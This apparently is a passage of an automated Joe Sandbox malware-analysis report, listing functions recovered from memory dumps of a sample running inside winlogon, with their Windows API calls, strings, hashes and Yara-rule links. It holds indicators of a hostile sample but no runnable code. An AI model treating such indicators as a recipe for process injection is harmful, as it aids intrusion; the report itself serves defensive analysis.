__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC67AAD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000225DC67ABBC

Strings

csm, xrefs: 00000225DC67AAF6
csm, xrefs: 00000225DC67AC0E

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: 9600a415d1908e86b08cbf43e1cb8adef971c7a7c32f46f5b13ec36b108122a0
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 5951C33A200BA0EBEB748FA9D54835877A0F354F96F24E616EA9947FD6CB38C451C701

Function 00000225DC6AA6FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000225DC6AA75B
_CallSETranslator.LIBVCRUNTIME ref: 00000225DC6AA7A7

Strings

MOC, xrefs: 00000225DC6AA76F
RCC, xrefs: 00000225DC6AA777

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: e2d1a1c78e90f6bd31deacbcec7c4600ee4de40aa8066d79be5c97a9c682ef8a
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: CA61D276508FD495DB30CF59E44439AB7A0F784B85F248216EBD853B9ADB3CC095CB00

Function 00000225DC6AAAAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC6AAAD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000225DC6AABBC

Strings

csm, xrefs: 00000225DC6AAC0E
csm, xrefs: 00000225DC6AAAF6

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: d971139fb05815a79728a67a4b08760c6fbe338f4faaf200783333ac6c2a95e7
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 4D518E3A200A90ABEB74CFA9D54835877A1F354F96F34C117EA8A87BD6CB38D451CB01

Function 00000225DC619EAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC619ED4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000225DC619FBC

Strings

csm, xrefs: 00000225DC619EF6
csm, xrefs: 00000225DC61A00E

Memory Dump Source

Source File: 00000009.00000003.1989875649.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_225dc610000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: ff996069689e9adb4c39c6e894924d3e7f7579bacb489373341fae83957afcfd
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 5851B23A206B90AEEF748FA9D14835C77A0F355B9BF24C215EA8947BD6CB38D451CB01

Function 00000225DC643950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 00000225DC643972
StrStrW.SHLWAPI ref: 00000225DC643990
StrToIntW.SHLWAPI ref: 00000225DC6439B7

Part of subcall function 00000225DC641A30: OpenProcess.KERNEL32 ref: 00000225DC641A56
Part of subcall function 00000225DC641A30: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC641A74
Part of subcall function 00000225DC641A30: PathFindFileNameW.SHLWAPI ref: 00000225DC641A83
Part of subcall function 00000225DC641A30: lstrlenW.KERNEL32 ref: 00000225DC641A8F
Part of subcall function 00000225DC641A30: StrCpyW.SHLWAPI ref: 00000225DC641AA2
Part of subcall function 00000225DC641A30: CloseHandle.KERNEL32 ref: 00000225DC641AB0

Part of subcall function 00000225DC643F88: StrCmpNIW.SHLWAPI(?,?,?,00000225DC64272F), ref: 00000225DC643FA0

Strings

pid_, xrefs: 00000225DC643968

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction ID: 3c8fe4181d57bde8610dc56ea65077bbac2591f1a464c2d41b7e5703e34ab205
Opcode Fuzzy Hash: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction Fuzzy Hash: EA11511931CFA5B1EB109BA9E80835A72A4F749B82FA48075AE4A93695FF78C945C700

Function 00000225DC673950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 00000225DC673972
StrStrW.SHLWAPI ref: 00000225DC673990
StrToIntW.SHLWAPI ref: 00000225DC6739B7

Part of subcall function 00000225DC671A30: OpenProcess.KERNEL32 ref: 00000225DC671A56
Part of subcall function 00000225DC671A30: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC671A74
Part of subcall function 00000225DC671A30: PathFindFileNameW.SHLWAPI ref: 00000225DC671A83
Part of subcall function 00000225DC671A30: lstrlenW.KERNEL32 ref: 00000225DC671A8F
Part of subcall function 00000225DC671A30: StrCpyW.SHLWAPI ref: 00000225DC671AA2
Part of subcall function 00000225DC671A30: CloseHandle.KERNEL32 ref: 00000225DC671AB0

Part of subcall function 00000225DC673F88: StrCmpNIW.SHLWAPI(?,?,?,00000225DC67272F), ref: 00000225DC673FA0

Strings

pid_, xrefs: 00000225DC673968

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction ID: 95432dd9826d381225eec497ac909ebfc8931623513a31093e2cfea6e35b5e9a
Opcode Fuzzy Hash: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction Fuzzy Hash: F6115719314FA172FF10DBA9E80935A53A4FB44B82FA48935AE4983AD5FF78C905C700

Function 00000225DC6A3950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 00000225DC6A3972
StrStrW.SHLWAPI ref: 00000225DC6A3990
StrToIntW.SHLWAPI ref: 00000225DC6A39B7

Part of subcall function 00000225DC6A1A30: OpenProcess.KERNEL32 ref: 00000225DC6A1A56
Part of subcall function 00000225DC6A1A30: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC6A1A74
Part of subcall function 00000225DC6A1A30: PathFindFileNameW.SHLWAPI ref: 00000225DC6A1A83
Part of subcall function 00000225DC6A1A30: lstrlenW.KERNEL32 ref: 00000225DC6A1A8F
Part of subcall function 00000225DC6A1A30: StrCpyW.SHLWAPI ref: 00000225DC6A1AA2
Part of subcall function 00000225DC6A1A30: CloseHandle.KERNEL32 ref: 00000225DC6A1AB0

Part of subcall function 00000225DC6A3F88: StrCmpNIW.SHLWAPI(?,?,?,00000225DC6A272F), ref: 00000225DC6A3FA0

Strings

pid_, xrefs: 00000225DC6A3968

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction ID: df98b87962186eb4fc5c7e3438245a12adda9e9b458913ece3bf6b2c649ca0b3
Opcode Fuzzy Hash: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction Fuzzy Hash: 54115419314FB1B2EB10DBA9E80939A63A4FB55B82FA48035AF49C3795FF78C905C700

Function 00000225DC651FA8 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000225DC652027
WriteFile.KERNEL32 ref: 00000225DC652304
WriteFile.KERNEL32 ref: 00000225DC65234A
GetLastError.KERNEL32 ref: 00000225DC652409

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction ID: eb36fadbe95ae4008ab3f261c906c7f475cc0eb0bc5e66f0e274ae4c17083868
Opcode Fuzzy Hash: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction Fuzzy Hash: BAD1F03A728EA0A9E712CFA9D4482DC37B1F754B99F508216CF5E97B99DB34C046C340

Function 00000225DC681FA8 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000225DC682027
WriteFile.KERNEL32 ref: 00000225DC682304
WriteFile.KERNEL32 ref: 00000225DC68234A
GetLastError.KERNEL32 ref: 00000225DC682409

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction ID: 9e471798156c1280565bf6b792fcdfecfe05ab569b43954ffdfafa451b690551
Opcode Fuzzy Hash: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction Fuzzy Hash: F9D1FD3A714EA0AAE712CFA9D4482DC37B1FB54B99F408216CF5EA7BD9DA34C056C341

Function 00000225DC6B1FA8 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000225DC6B2027
WriteFile.KERNEL32 ref: 00000225DC6B2304
WriteFile.KERNEL32 ref: 00000225DC6B234A
GetLastError.KERNEL32 ref: 00000225DC6B2409

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction ID: 287fe842ab90c4b700664987ccd38534f6a61572a044d93e97509e46b6328183
Opcode Fuzzy Hash: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction Fuzzy Hash: DCD1F036714FA0A9E712CFA9D4482DC3BB2F755B9AF408216CF6E97B99DA34C046C340

Function 00000225DC6414A0 Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6414C6
HeapFree.KERNEL32 ref: 00000225DC6414D5
GetProcessHeap.KERNEL32 ref: 00000225DC6414E2
HeapFree.KERNEL32 ref: 00000225DC6414F1
GetProcessHeap.KERNEL32 ref: 00000225DC641501

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction ID: 73a2776b8e2ff7bec2cd2407b6cb587fc32e09a1c517dcbed4e2dbd3574e4dc5
Opcode Fuzzy Hash: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction Fuzzy Hash: 3A01E936624FA0EAE724DFAAE8081597BB1F788F81B198025DF4A53728EF34D451C740

Function 00000225DC6714A0 Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6714C6
HeapFree.KERNEL32 ref: 00000225DC6714D5
GetProcessHeap.KERNEL32 ref: 00000225DC6714E2
HeapFree.KERNEL32 ref: 00000225DC6714F1
GetProcessHeap.KERNEL32 ref: 00000225DC671501

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction ID: 57f968ec4f757b5386a7a53b8c307fbd0feca5cabe83514e82c06f2302c5c80a
Opcode Fuzzy Hash: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction Fuzzy Hash: 5E010C36610FA0EAE714DFAAE80825977A1FB88F81F498425DF8E53768EF34D451C741

Function 00000225DC6A14A0 Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6A14C6
HeapFree.KERNEL32 ref: 00000225DC6A14D5
GetProcessHeap.KERNEL32 ref: 00000225DC6A14E2
HeapFree.KERNEL32 ref: 00000225DC6A14F1
GetProcessHeap.KERNEL32 ref: 00000225DC6A1501

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction ID: 1f3cec6b8e76a9c1fce85490febaf8b762a9f925f15cd277bfb9be87d739ced3
Opcode Fuzzy Hash: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction Fuzzy Hash: F2010C36610FA0EAE754DFAAE80819977A6F798F82F198025DF4E53728EF34D452C740

Function 00000225DC6528F4 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000225DC6528DF), ref: 00000225DC652A12

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction ID: 166fce68f16cf624ff4a673cfefded8cecda6bcd045b6b65c3b83036e25d3154
Opcode Fuzzy Hash: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction Fuzzy Hash: AF91057AB20E71A9FB62CFBD94583AD3BA0F754B89F648106DE4A67785DB34C485C300

Function 00000225DC6828F4 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000225DC6828DF), ref: 00000225DC682A12

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction ID: 1322c19891c0e0509819485d3d3f9fa32a15cd95b11245b1c32fa5b700374911
Opcode Fuzzy Hash: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction Fuzzy Hash: 7A91F43A710E71A9FB62CFA994583AD3BA0FB54B89F548106DE4A67BC5DB34C485C302

Function 00000225DC6B28F4 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000225DC6B28DF), ref: 00000225DC6B2A12

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction ID: d72f5abf9282de28b29b35567e135c9bc2ddf69964a90a3bd1668e3e3286d236
Opcode Fuzzy Hash: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction Fuzzy Hash: 6391E43A710E71A9FB62DFA994583AD3BE2F354B8BF448106DE5A57785DB34C485C300

Function 00000225DC678090 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000225DC6780BC
GetCurrentThreadId.KERNEL32 ref: 00000225DC6780CA
GetCurrentProcessId.KERNEL32 ref: 00000225DC6780D6
QueryPerformanceCounter.KERNEL32 ref: 00000225DC6780E6

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction ID: 49ecbcd141e5e098f4fbd77a192a25a3f7bf6b7e997a441ad3ac1415caa78097
Opcode Fuzzy Hash: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction Fuzzy Hash: 66113C2A710F149AFB00CFA4E8583A833A4F71D759F440E21DA6D877A4EF78C164C340

Function 00000225DC6A8090 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000225DC6A80BC
GetCurrentThreadId.KERNEL32 ref: 00000225DC6A80CA
GetCurrentProcessId.KERNEL32 ref: 00000225DC6A80D6
